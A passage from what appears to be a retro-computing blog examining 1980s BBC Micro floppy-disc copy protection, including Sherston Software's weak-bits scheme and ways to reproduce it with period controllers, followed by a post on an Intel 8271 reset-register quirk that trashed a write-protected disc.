href="http://bbcmicro.co.uk/game.php?id=290">Citadel</a>, used "deleted data". Every sector on a disc can be marked as either normal or deleted by the one byte mark that occurs directly before the sector data bytes. This is again a simple protection that a copier can handle as long as it knows about the concept of deleted data. What's interesting is that Superior did release a few titles with more advanced protection -- most notably the legendary <a href="http://bbcmicro.co.uk/game.php?id=709">Exile</a>. However there are <a href="http://exile.acornarcade.com/devel.html">stories about the protection not loading correctly with some setups</a>, so Superior discs from then on can all be seen using just the simple deleted data protection. Presumably: once bitten, twice shy.</li><li>The most iconic game on the BBC Micro may well be <a href="http://bbcmicro.co.uk/game.php?id=366">Elite</a>. One of the tricks it used was an "unformatted track" in the middle of the disc. An unformatted track does not have any recognizable sector headers. This is perhaps the first protection that made disc copy programs sweat. Particularly on the 8271 floppy controller, there is no "unformat" command, only a "format" command. This was resolved decisively in favor of the disc copy programs, though, with a clever trick: if you format a track as one giant 4096 byte sector, you win immediately. What happens is that the single sector header is written at the start of the track, but then the 4096 bytes of sector data <b>wrap around across the end of the track</b> (which is 3125 bytes long) and trash the only sector header! So the track isn't really unformatted, but all that is needed is that the disc controller doesn't see any sector headers -- mission accomplished.</li><li>Another fairly ubiquitous protection was mismatched physical / logical track IDs in the sector header. This was also used by Elite, which also used unusually large logical sector IDs. This is easy to copy if you know you're looking for the situation. Normally, the disc controller (particularly the 8271) will get upset if it sees a track mismatch but you can fake the controller out by setting its internal track register to match, with a special command.</li><li>Later on in the BBC Micro's life, some publishers of software on disc upped their game. It became common to see extra data bytes "hidden" in between sectors. Simplistic attempts to copy these bytes would fail by overwriting a following sector. 1770-based disc copiers can handle this situation easily unless the hidden bytes are "reserved" in the 1770's write track protocol. It <b>is possible</b> to copy these situations well with both an 8271 or 1770 based copier, but I haven't yet found one that makes a decent effort. It is necessary to do things like take direct control of the disc controller chip, and issue commands with precise timing, and abort the controller mid-command with similarly precise timing.</li></ul><div>Another favorite pastime of disc protection authors was a creative way of reducing copying without necessarily improving the underlying protection mechanism: <i>attack the copy program itself</i>. The copy programs needed a bunch of logic to work out what sector setup they were encountering. It's not easy logic, so breaking it was fruitful. Here's a few shots (under emulation, but real hardware behaves identically :) of <a href="https://en.wikipedia.org/wiki/Exile_(1988_video_game)" target="_blank">Exile</a> breaking Vector 2:<br /></div></div><div><br /></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv1I7h6Sj_DJHwQnya86x7UPaLJvFXBt8vAlBBqwMXLcPlHO1H5SGTOacJBtA-FxQRwRvQhxZ5u9g61kWRhQpC_5v40SXA532dOc9jjnMHCYvQGKja6NXuX8DV8NcLWMS4eTRgPOi-WdZG/s774/vector2_1.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="672" data-original-width="774" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv1I7h6Sj_DJHwQnya86x7UPaLJvFXBt8vAlBBqwMXLcPlHO1H5SGTOacJBtA-FxQRwRvQhxZ5u9g61kWRhQpC_5v40SXA532dOc9jjnMHCYvQGKja6NXuX8DV8NcLWMS4eTRgPOi-WdZG/s320/vector2_1.png" width="320" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Loading Vector 2</td></tr></tbody></table><div><br /></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlBzhLb06wq7Xfrt-du_kSnYEttqT2rMX82WQSogjSzmA6lohkagX26OKBSnHlIKcYw_EF6Q4iJIHgzt3JYgSdHrwVe7b1bFtNQeL3vpSGkD2EIG9yo8Lt0qQDXXofmHZHjBA7v7XUPMBT/s774/vector2_2.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="672" data-original-width="774" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlBzhLb06wq7Xfrt-du_kSnYEttqT2rMX82WQSogjSzmA6lohkagX26OKBSnHlIKcYw_EF6Q4iJIHgzt3JYgSdHrwVe7b1bFtNQeL3vpSGkD2EIG9yo8Lt0qQDXXofmHZHjBA7v7XUPMBT/s320/vector2_2.png" width="320" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Second track correctly identified as having 18 sectors</td></tr></tbody></table><div><br /></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimZT_0tN4nhhWh7LgoHpkWQtR7N9SeADln0d22IKralkk0NOGDZnJuHpKgJ8RagulHaSm36vQ_4PVSBD73x-Hy3DzKKlR5rGpGAVMyaouIWaUg68ff6CYDJtzSK_ppQQkMC_xwsYVOwplP/s774/vector2_3.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="672" data-original-width="774" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimZT_0tN4nhhWh7LgoHpkWQtR7N9SeADln0d22IKralkk0NOGDZnJuHpKgJ8RagulHaSm36vQ_4PVSBD73x-Hy3DzKKlR5rGpGAVMyaouIWaUg68ff6CYDJtzSK_ppQQkMC_xwsYVOwplP/s320/vector2_3.png" width="320" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">A beeeeeep and a crash / hang processing the second track<br /></td></tr></tbody></table><div><br /></div><div><b><font size="5">Sherston Software weak bits protection: introducing "soft lock"</font></b></div><div><br /></div><div>Given the copy protection arms race described for games above, it was a surprise to find a smaller educational software house with an on-disc protection format light years ahead. Sherston Software had a great catalog of software that my kids still enjoy today, with our current favorite being <a href="http://www.flaxcottage.com/Educational/ShowPackage.asp?p=46" target="_blank">Space Mission Mada</a>.</div><div><br /></div><div>Many Sherston Software discs use weak bits protection. We should briefly define terms because they are not consistently used; the most sensible and broadly agreed terms appear to be:</div><div><ul style="text-align: left;"><li><b>Flaky bits</b>. Any on-disc bits that do not read back consistently. They are flaky.</li><li><b>Weak bits</b>. Flaky bits caused by a weak signal or non-existent magnetic signal on the disc surface. You might also see the term no-flux area (NFA), which is the same as a non-existent signal. Weak bits are almost always a non-existent signal, as opposed to a weak signal. The flaky nature of weak bits actually comes out of the drive electronics: when there are no clear flux changes, the drive just amplifies harder until it starts seeing and signaling ghosts within the noise.</li><li><b>Fuzzy bits</b>. Flaky bits caused by a strong, clear signal but where the timings of the read pulses are borderline. The borderline timing means the disc controller chip cannot be sure whether a pulse is supposed to be a 1 bit or a 0 bit. It'll change its mind from read to read.</li></ul></div><div>The use of weak bits is advanced because it's one of the on-disc protections that arise when you do a first principles analysis:</div><div><ul style="text-align: left;"><li>Weak bits give a "reliable" read result: you can reliably depend on them to read back differently from read-to-read!</li><li>Weak bits <b>cannot</b> be written by the standard disc controllers. The disc controllers do everything in their power to lay down bits that read back deterministically. That's their job! There's no "write weak signal" flag and there's no "write timing violations" flag.</li></ul></div><div>I wrote to the author of Space Mission Mada, Simon Hosler. It turns out he also devised the weak bits protection, along with his electronics geek next door neighbor! In Simon's words:</div><div><br /></div><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><div style="text-align: left;">"<i>Soft lock (was what we called it) was actually my system, so what I remember… This came about because I lived next door to an electronics geek! 😊 So break the write data line of the parallel disk cable. Add a bit of electronics to this line. (thank you Mike) Most of the time this electronics does nothing – lets the data go through as normal. If you turn it on (I think I did this through the serial port) and write to a single sector - it would count the bits going through say 256 – and then stop the next 256 bits going through</i>"</div></blockquote><div><br /></div><div>I happen to have an original Sherston disc with weak bits protection, <a href="http://www.flaxcottage.com/educational/ShowPackage.asp?p=31" target="_blank">Animated Alphabet</a>. Here's what the weak bits patch of disc looks like with the drive wired up to an oscilloscope:</div><div><br /></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvfKtBZVbGkmtt3AW7LvV9hZjYcGap_jSjEDSRi2N6ub4v9pZnwh39omiFWmlmq90o0CYOPxpNXGoyXzlQ99DWmWEbJEtyY0KUThIzSEikokDU0_lIpctYVxCc67kbSshgm9vsJuJlg1Eu/s3648/IMG_8541.JPG" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="2736" data-original-width="3648" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvfKtBZVbGkmtt3AW7LvV9hZjYcGap_jSjEDSRi2N6ub4v9pZnwh39omiFWmlmq90o0CYOPxpNXGoyXzlQ99DWmWEbJEtyY0KUThIzSEikokDU0_lIpctYVxCc67kbSshgm9vsJuJlg1Eu/w640-h480/IMG_8541.JPG" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">The blue line shows the on-disc magnetic signal come and go as Simon's widget toggles on and off. The yellow line shows the drive still emitting read pulses to the floppy controller (quasi-randomly) even in patches of no signal</td></tr></tbody></table><div><br /></div><div>The effect of Simon's widget in creating batches of weak bits can clearly be seen. This really was genius for the time, being one of the earlier swings at creating disc surfaces fundamentally uncopyable without special hardware. Not only that, but it works the same on both 8271 and 1770 based systems since it's the drive electronics that are being induced to create the quasi-randomness. This leads to a simpler, more reliable setup with just a single code path. It is also very compatible with all the myriad of different DFS (Disc Filing System) variants because the code to check the copy protection doesn't need fancy DFS calls. It just needs to read a sector -- very standard! -- a few times and see if the bytes coming back vary or not.</div><div><br /></div><div><b><font size="5">State of the art</font></b></div><div><br /></div><div>I don't know when the first flaky bits based disc protection was released. There's probably someone out there who can point to an example from the 1970s! But it's worth comparing dates on some examples we do know about.</div><div><br /></div><div>Dating the first Sherston Software title to use weak bits protection is tough. I have an image of <a href="http://www.flaxcottage.com/educational/ShowPackage.asp?p=41" target="_blank">Mr. Yog and the Nippet</a>, (c) 1984, with weak bits protection. There's even an image of <a href="http://www.flaxcottage.com/Educational/ShowPackage.asp?p=45" target="_blank">Short Vowel Sounds</a>, (c) 1983, with weak bits protection. However, we also have seen the same Sherston title released with multiple different disc revisions with different copy protection systems. We can establish an initial latest bound on the weak bits protection with an image of <a href="http://flaxcottage.com/Educational/ShowPackage.asp?p=20" target="_blank">The Wizard's Revenge</a> that happens to use the weak bits protection and also includes a commercial duplicator fingerprint on its one-past-the-end track, as seen here in this hex editor view:</div><div><br /></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMLsdAGOFg2-PTPRr12sJk6s_ow4Lg29extiQ5zerWmn7wQqBw9qIE5Aruh55oMMia0SucpDfB_P5a3BMmEeWi5XgfWCaubuYhXz5xotWVOl1Zabx1kATqL4W71Tp81K_DKJtaFDGlWRWU/s485/hex_wizards.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="194" data-original-width="485" height="256" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMLsdAGOFg2-PTPRr12sJk6s_ow4Lg29extiQ5zerWmn7wQqBw9qIE5Aruh55oMMia0SucpDfB_P5a3BMmEeWi5XgfWCaubuYhXz5xotWVOl1Zabx1kATqL4W71Tp81K_DKJtaFDGlWRWU/w640-h256/hex_wizards.png" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">This data, starting with 01 02 03 04 05 on the first line, appears to be added by a commercial duplicator from the era</td></tr></tbody></table><div><br /></div><div>Fingerprints of this nature contain a date and time: 87 01 05, or Jan 5th, 1987 in this case.</div><div><br /></div><div>So in terms of release timing of early flaky bits based protection, we have:</div><div><ul style="text-align: left;"><li>Weak bits: The Wizard's Revenge, Sherston Software, Jan 5th 1987.</li><li>Fuzzy bits: <a href="https://en.wikipedia.org/wiki/Dungeon_Master_(video_game)" target="_blank">Dungeon Master</a>, Dec 15th 1987.</li></ul></div><div>So it seems likely that the Sherston weak bits went to production at least a year prior to the Dungeon Master fuzzy bits. Although these disc protections are not identical, they have very similar properties and capabilities.</div><div><br /></div><div>What's further interesting is that the Dungeon Master fuzzy bits were the subject of a <a href="https://patents.google.com/patent/US4849836" target="_blank">patent filed in 1986</a>. This could be one of those cases where other clever people had come up with prior art. It happens a lot.</div><div><br /></div><div><b><font size="5">Copying weak bits with original 1980s BBC Micro drives and controllers</font></b></div><div><br /></div><div>No retro research would be complete without an attempt to push the bounds of what was thought possible back in the day. Accordingly, would it be possible to create a <i>software only</i> solution to write weak bits to discs? Another way to ask the same question is: would it have been possible to create a disc copier that copied weak bits correctly?</div><div><br /></div><div>It turns out the answer is yes! Or more specifically, the answer is a double yes. Using two different tricks, it is possible to create actual weak bits with the 8271 disc controller, and non-deterministic reads (resulting in the same sort of read effects as weak bits) with the 1770 disc controller.</div><div><br /></div><div><b>8271</b></div><div><br /></div><div>The 8271 is a slightly strange chip to program. One thing is has is the concept of "special registers" which can be read and written. One such special register is the "Drive Control Output Port":</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWztWeK3RzNS8Vjwd3KLMu2y43VCFYvkiaLJLRvzO6Yyk-OY2TdLr_8acFdRdoZD-EDvFuSdAHDxvwybup480XEOxoZ1808HNLZh68Gkx35mphGGps1sHAmrZQCRqJ0CPyVyySxqIbKkgu/s282/8271_drvcon.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="214" data-original-width="282" height="304" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWztWeK3RzNS8Vjwd3KLMu2y43VCFYvkiaLJLRvzO6Yyk-OY2TdLr_8acFdRdoZD-EDvFuSdAHDxvwybup480XEOxoZ1808HNLZh68Gkx35mphGGps1sHAmrZQCRqJ0CPyVyySxqIbKkgu/w400-h304/8271_drvcon.png" width="400" /></a></div><div><br /></div><div>The special registers aren't particularly well covered in <a href="http://www.nj7p.org/Manuals/PDFs/Intel/AFN-00223B.pdf" target="_blank">the data sheet</a>, perhaps because they aren't supposed to be necessary for usage. That said, most 8271 driver implementations write this register to spin up the drive (by setting the LOAD HEAD bit and appropriate drive SELECT bit) in order to control the 8271's propensity to fail read/write commands with "drive not ready".</div><div><br /></div><div>The trick is to use this register to set the WRITE ENABLE bit as well as the LOAD HEAD and SELECT bits. This can only be done outside any other command, because Write Special Register is itself a command and selecting it will abort any other in-progress command. When WRITE ENABLE is active outside of a command, the disc drive's write head will be energized but no data pulses will be transmitted on the write data pin to the disc drive. The result is that the write head sweeps the disc surface clean of flux transitions. That creates weak bits / a no flux area. With a bit of careful timing, the write head can be energized and de-energized and any point(s) needed on a track to create weak bits where desired.</div><div><br /></div><div><b>1770</b></div><div><br /></div><div>The trick on the 1770 is different. It may be possible to directly create weak bits by creatively programming the 1770 -- but if it is, I haven't found it. Instead, we focus on the BBC Micro's 1770 control register. This is a register external to the 1770 that is necessary to control external 1770 pins. For example, unlike the 8271, the 1770 selects disc drive 0 vs. drive 1 via an external pin instead of as parameters passed to controller commands. The "Drive Control Register" is documented well <a href="https://www.cloud9.co.uk/james/BBCMicro/Documentation/wd1770.html" target="_blank">at the bottom of this document</a>.</div><div><br /></div><div>Since this register is external to the 1770, we can mess with it while a command is in progress. The specific trick we use is to start a single density write command and then flip to double density some number of bytes in. Double density (MFM) timing is completely different to single density timing, so reading back the resulting patterns as single density read confuses the disc controller significantly, to the point that non-deterministic read results are returned. This is not weak bits on the disc but the effect is the same as far as the copy protection check is concerned: read the sector twice and check the result varies! The bits definitely end up flaky.</div><div><br /></div><div>Does it work? Yes. Here's a video of me using my work-in-progress "<a href="https://github.com/scarybeasts/misc/tree/master/discbeast" target="_blank">discbeast</a>" utility. We fix a failed copy of Sherston weak bits by using commands to directly and precisely create flaky bits at the correct point on the disc.</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/Ng8wP-qpZoM" width="320" youtube-src-id="Ng8wP-qpZoM"></iframe></div><div><br /></div>Chris Evanshttp://www.blogger.com/profile/01004765479735675808noreply@blogger.com6tag:blogger.com,1999:blog-3024470480937744884.post-10763806917645534452020-06-23T13:37:00.000-07:002020-06-23T13:37:10.397-07:00A wild bug: 1970s Intel 8271 disc chip ate my data!If you <i>must</i> suffer data loss then at least make sure you collect a good story from the experience!<div><br /></div><div>I believe I have such a story.</div><div><br /></div><div>Recently, I've been enjoying keeping my inner engineer sharp by playing around with retro software and hardware. I've taken a particular interest in floppy disc drives and old-school floppy disc protection on the BBC Micro. The BBC Micro had a couple of different popular floppy drive controllers: the older Intel 8271 and the newer Western Digital 1770/1772. Both controllers have different capabilities, and quirks by the bucketload!</div><div><br /></div><div>My data loss occurred while experimenting with the Intel 8271, a 1970s chip and design. It's a good size and runs a little hot.</div><div><br /></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSepGgSfCWOH9y07Y-7R7MAeayXY8YjB6BM9OvriE1DpLMmM3Dm43SZzH2kNlm64l_3oy-edAzTlGe2Ai6D1Roct-ylOTbc-I0Pg-bwDd-Fi_qknRr4Tez8jRrAz4TwvmKirFn2VXwpPiu/s267/i8271.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="267" data-original-width="234" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSepGgSfCWOH9y07Y-7R7MAeayXY8YjB6BM9OvriE1DpLMmM3Dm43SZzH2kNlm64l_3oy-edAzTlGe2Ai6D1Roct-ylOTbc-I0Pg-bwDd-Fi_qknRr4Tez8jRrAz4TwvmKirFn2VXwpPiu/w351-h400/i8271.png" width="351" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Intel 8271 (left) in a BBC Micro model B</td></tr></tbody></table><br /><div>There is not a lot about this chip on the internet, but there's a <a href="http://www.nj7p.org/Manuals/PDFs/Intel/AFN-00223B.pdf" target="_blank">pretty good datasheet</a>, which includes this description regarding the reset register:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4tq8fSBpoLyAhWlov5kc-aYBAv_e0x3tWByoCVHDy4GT13o5TjbxLez0Cdc6Dp2Twb2i8V-CEDhMxZMYq3gaXoEfD8Juz7nqYDgF79bjKhabyKa8JFVkxq_o-neQOuSYe7CldbaH1Lbb_/s488/intel_reset.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="428" data-original-width="488" height="351" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4tq8fSBpoLyAhWlov5kc-aYBAv_e0x3tWByoCVHDy4GT13o5TjbxLez0Cdc6Dp2Twb2i8V-CEDhMxZMYq3gaXoEfD8Juz7nqYDgF79bjKhabyKa8JFVkxq_o-neQOuSYe7CldbaH1Lbb_/w400-h351/intel_reset.png" width="400" /></a></div><div><br /></div><div>It is no doubt my security background that caused me to read this description and then promptly write the value 100 (not 1 or 0) to this register.</div><div><br /></div><div>It is at this point that my drive became possessed. Re-trying showed that setting bit D2 alone by writing the value 4 is sufficient to cause the demonic infestation:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/sRcb3goLbZI" width="320" youtube-src-id="sRcb3goLbZI"></iframe></div><div><br /></div><div>Different drives behave differently. This drive, an older single head Chinon F-051MD seems to activate all of its widgets: the head wobbles wildly and the motor sometimes spins. My newer Mitsubishi drive makes a terrible, awful high pitch screech. It is my favorite drive and I do not wish to hear that sound ever again so there is no video.</div><div><br /></div><div>Here is where it gets crazy: when I first did this, there was a disc in my Chinon drive and the data on that drive became toast... <b>despite the hardware write protect tab being present</b>.</div><div><br /></div><div><b><font size="5">What?</font></b></div><div><br /></div><div>Indeed. This is sufficiently bizarre that it is worth investigation! What signals is the floppy drive receiving when the poltergeist is present? As a reminder, the BBC Micro uses a Shugart style (not PC style!) connection to the drive:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgO-cWYyoqzNbn7Xe7Qh1oOlQlCQQGHMpV-YiG0NATHMZKALPDQ6pvwegVx5xExSmVNmTH5OiCmDoJoSS_JdsWxBBOeQsj8-71GBGwXknMGYwvrLqhL1CNMxx2FNJNoaw_Cd0S554mV-eba/s442/floppy_pins.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="294" data-original-width="442" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgO-cWYyoqzNbn7Xe7Qh1oOlQlCQQGHMpV-YiG0NATHMZKALPDQ6pvwegVx5xExSmVNmTH5OiCmDoJoSS_JdsWxBBOeQsj8-71GBGwXknMGYwvrLqhL1CNMxx2FNJNoaw_Cd0S554mV-eba/d/floppy_pins.png" /></a></div><div>From the controller to the drive, we have Select 0, Select 1, notDIR (step direction), pin 20 (step; not labeled in the service manual diagram above), Write/DATA, WRite/ENable, Side/SELect. To sample a couple of these:</div><div><br /></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhn9jhXdj1PKUgAPQhps9tWOO4CRkNGyjZ1H8KFDhDRWfqYjvdXLiTkwXafWhxxA_0kV3DBY9NlNMWnsNqovJfimT7Nv7s7Yf1_UpiDR8fbDMi0LNmMQpD0n6OjZ0XNHDXcVyCtCMER52aJ/s3648/i8271_test_waveform_drive_0_motor_pin.JPG" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="2736" data-original-width="3648" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhn9jhXdj1PKUgAPQhps9tWOO4CRkNGyjZ1H8KFDhDRWfqYjvdXLiTkwXafWhxxA_0kV3DBY9NlNMWnsNqovJfimT7Nv7s7Yf1_UpiDR8fbDMi0LNmMQpD0n6OjZ0XNHDXcVyCtCMER52aJ/w400-h300/i8271_test_waveform_drive_0_motor_pin.JPG" width="400" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Pin 16, MOTOR</td></tr></tbody></table><div><br /></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7pYK5EPm_2x8QPFv9NAVu3rsnz3HTQeiaoSpQiUMIBabnNM7uQXReSJwLZTvNoNnVWYHcEBG2lN4g-6bH7tMPTU-VVimabpcSFdYjxSr66UidnwFKPG9Bt3s4hJfBgjs79ciVEBvLNZzU/s3648/i8271_test_wavefrom_write_enable_pin.JPG" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="2736" data-original-width="3648" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7pYK5EPm_2x8QPFv9NAVu3rsnz3HTQeiaoSpQiUMIBabnNM7uQXReSJwLZTvNoNnVWYHcEBG2lN4g-6bH7tMPTU-VVimabpcSFdYjxSr66UidnwFKPG9Bt3s4hJfBgjs79ciVEBvLNZzU/w400-h300/i8271_test_wavefrom_write_enable_pin.JPG" width="400" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Pin 24, WRite/ENable</td></tr></tbody></table><div><br /></div><div>There are similar signals on other pins from the controller to the drive -- and they are not normal! Flipping the motor on and off at 375kHz is not an expected controller behavior and it may even be bad for a motor; I don't know.</div><div><br /></div><div>The disc corruption comes from the abnormal signal above on the write enable pin. This is how the controller requests the drive to power up its write head, and the drive is being asked to do so at 300+kHz. There's also one of these crazy signals on the step and step direction pins, so the drive is seeking all over a range of tracks while being asked to activate the write head. Not good.</div><div><br /></div><div>It is probably reasonable for us to fault the controller here. Under the heading "Write Protect" on page 8-124 of the data sheet, it says "The 8271 will not write to a disk when this input pin is active". This contract is clearly being violated as the write protect is being signaled by the drive.</div><div><br /></div><div><b><font size="5">It takes two to tango</font></b></div><div><br /></div><div>But there is more to this! Most floppy drives also have a last-line-of-defense. For example, <a href="http://www.minuszerodegrees.net/manuals/Mitsubishi/Mitsubishi%20-%20MF501B,%20MF503B,%20MF504B%20-%20Specifications%20and%20Application%20Notes.pdf" target="_blank">the application notes for my Mitubishi MF503B drive</a> clearly state "This signal goes to ‘0’ when a write protected disk is inserted into the drive. <b>Writing is inhibited even if the write gate is active</b>." My Chinon drive seems to get this right most of the time, but not in the presence of wild oscillating signals. There appears to be a race condition -- perhaps if the drive is selected while the write enable gate is already active -- where a bit of current will go through the write head before the write protect condition is noticed.</div><div><br /></div><div>Looks like I got unlucky -- wrong controller, wrong drive.</div><div><br /></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1QY9ynVVp3FjQnAtFnDel3yiBJkGXjeOl4dj1ueGGma-3j89k-0o5REi-WXa9sa1CHxNmZSVFKp3Cw3zctSN0CPhnDcqd1ZkED9mLZ9U63X5xeyZXhKHLzTWRSd7Rk7o-2_ENdYqrccaF/s2248/bbc_discs.JPG" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="1268" data-original-width="2248" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1QY9ynVVp3FjQnAtFnDel3yiBJkGXjeOl4dj1ueGGma-3j89k-0o5REi-WXa9sa1CHxNmZSVFKp3Cw3zctSN0CPhnDcqd1ZkED9mLZ9U63X5xeyZXhKHLzTWRSd7Rk7o-2_ENdYqrccaF/w640-h360/bbc_discs.JPG" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Two of my more colorful BBC Micro original discs, silver write protect tabs on display. Luckily neither of these is the disc I trashed!</td></tr></tbody></table><div><b><font size="5"><br />Intel 8271 speculation</font></b></div><div><br /></div><div>There isn't a whole lot on the internet about the Intel 8271. It's a slightly older floppy controller chip from the 1970s. Some of its capabilities hint of design tastes and directions that were retired in the 80s. For example, the chip is able to use host memory DMA to asynchronously scan within disc sectors for arbitrary byte strings. Perhaps a relic from the mainframe era? It wasn't used on the BBC Micro. The DMA capability wasn't wired up at all.</div><div><br /></div><div>No other 1980s home computer that I'm aware of used the 8271. There were good reasons not to. Probably most significantly, the 8271 doesn't support double density aka. MFM, which the Western Digital 1770/1772 did. So using the 8271 carried a hit on storage capacity. The BBC Micro lived with this hit even as 1770 based machines became common. Commercial software needed to work on all machines, including 8271 based ones.</div><div><br /></div><div>One suspicion I have is that the 8271 could be based on the <a href="https://en.wikipedia.org/wiki/Intel_MCS-48">Intel MCS-48</a> microcontroller. A few things line up, such as dates of design and manufacture. But there are also clues in the API offered. The "Read/Write Special Registers" commands is of particular interest:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJeGT6CA3-RkE62sn5UErUPpDMFbDqJulfAU5OSTKpH6ZZYzZbsJIPdkM7j8Xx8twUAnjXnXVXSVZE8wLBRQMZXyLZ9KqMHBC97QORzhw1gwVXG3LEnUrcz6kiTkTe7xt5yeVTD5rheXhx/s418/special_regs_8271.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="418" data-original-width="277" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJeGT6CA3-RkE62sn5UErUPpDMFbDqJulfAU5OSTKpH6ZZYzZbsJIPdkM7j8Xx8twUAnjXnXVXSVZE8wLBRQMZXyLZ9KqMHBC97QORzhw1gwVXG3LEnUrcz6kiTkTe7xt5yeVTD5rheXhx/w424-h640/special_regs_8271.png" width="424" /></a></div><div>As you can see there are a lot of special registers, with a fairly sparse few documented. The highest documented index is 0x22, or 34 in decimal.</div><div>One theory would be that the read/write special register simply reads or writes one of the 64 bytes of RAM present in an 8048 (or variant). There's plenty of evidence that most special register indexes seem to do something. For example, the seek and settle timing parameters end up in special registers 0x0D and 0x0E even though it is not documented anywhere. Also undocumented, 0x1D appears to mirror the formal data register. And so on.</div><div><br /></div><div>And if the 8048 theory holds water, perhaps the undocumented and crazy bits of the reset register correspond to one of the test modes, single step mode, or external memory access mode?</div><div><br /></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBP2sgOC3akd-6wefzDQ8gGIKYSNd2JcZUWxa7TaGdmm2xckbXoGx_BmHpmp8nTBr5WmAuyVC1CjRlG5FIw7KsBgK9-JtZrp8eo8scEJoidV4Qj8EQ3XvaVq6xM-cMoYVPk4ESQQ4KGv1N/s260/8048_pins.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="231" data-original-width="260" height="355" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBP2sgOC3akd-6wefzDQ8gGIKYSNd2JcZUWxa7TaGdmm2xckbXoGx_BmHpmp8nTBr5WmAuyVC1CjRlG5FIw7KsBgK9-JtZrp8eo8scEJoidV4Qj8EQ3XvaVq6xM-cMoYVPk4ESQQ4KGv1N/w400-h355/8048_pins.png" 